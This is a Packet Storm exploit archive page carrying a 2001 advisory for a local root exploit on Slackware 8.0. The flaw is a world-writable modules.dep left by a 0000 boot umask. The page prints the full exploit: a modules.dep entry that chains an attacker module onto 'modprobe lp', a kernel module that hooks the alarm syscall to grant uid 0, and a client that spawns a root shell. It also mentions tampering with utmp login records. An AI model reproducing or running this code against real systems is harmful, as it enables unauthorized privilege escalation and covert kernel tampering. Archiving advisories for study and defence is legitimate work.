exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

slackware.init.txt

slackware.init.txt
Posted Jul 18, 2001
Authored by Josh

Slackware 8.0 local root exploit - Creates a suid shell when "modprobe lp" is run from the startup scripts.

tags | exploit, shell, local, root
systems | linux, slackware
SHA-256 | b8b095012e691aba701cd6577f74f4427437ebc53c5be9b4cc9758dc3d3cfeeb

slackware.init.txt

Change Mirror Download
I posted this to the linux kernel mailing last Friday, July 13th 2001:

Submitted by : Josh (josh@pulltheplug.com), lockdown
(lockdown@lockeddown.net) on July 16th, 2001
Vulnerability : /lib/modules/2.4.5/modules.dep
Tested On : Slackware 8.0. 2.4.5
Local : Yes
Remote : No
Temporary Fix : umask 022 at the top of all your startup scripts
Target : root
Big thanks to : slider, lamagra, zen-parse
Greets to : alpha, fr3n3tic, omega, eazyass, remmy, RedPen, banned-it,
cryptix, s0ttle, xphantom, qtip, tirancy, Loki,
falcon-networks.com.

The 2.4.x kernels starting with 2.4.3 (i think) have, after
load, left a umask of 0000. This forces any files created in the bootup
scripts, without the command `umask 022` issued to be world writeable.
In slackware, files include /var/run/utmp and /var/run/gpm.pid. This same
vulnerability is responsible for creating /lib/modules/`uname -r`/modules.dep
world writeable. With this file world writeable, all an intruder need do is
put something like the following in /lib/modules/`uname -r`/modules.dep
assuming the system's startup scripts modprobe lp:

/lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o

/tmp/alarm.o:

where the alarm.o module is:

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>

#include <linux/sched.h>

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>

extern void* sys_call_table[];

unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);

unsigned int hacked_alarm(unsigned int seconds)
{
if(seconds == 454) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
return old_alarm(seconds);
}

int init_module(void) {
old_alarm=sys_call_table[SYS_alarm];
sys_call_table[SYS_alarm] = hacked_alarm;
return 0;
}

void cleanup_module(void) {
sys_call_table[SYS_alarm] = old_alarm;
}

make a client:
#include <stdio.h>
#include <unistd.h>

int main(void)
{
alarm(454);
execl("/bin/sh", "sh", NULL);
}

which will, when the module is loaded, execute a shell as root.


And of course with /var/run/utmp writeable, users can delete or in
other ways manipulate their logins as they appear in
w/who/finger/getlogin(), etc.
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close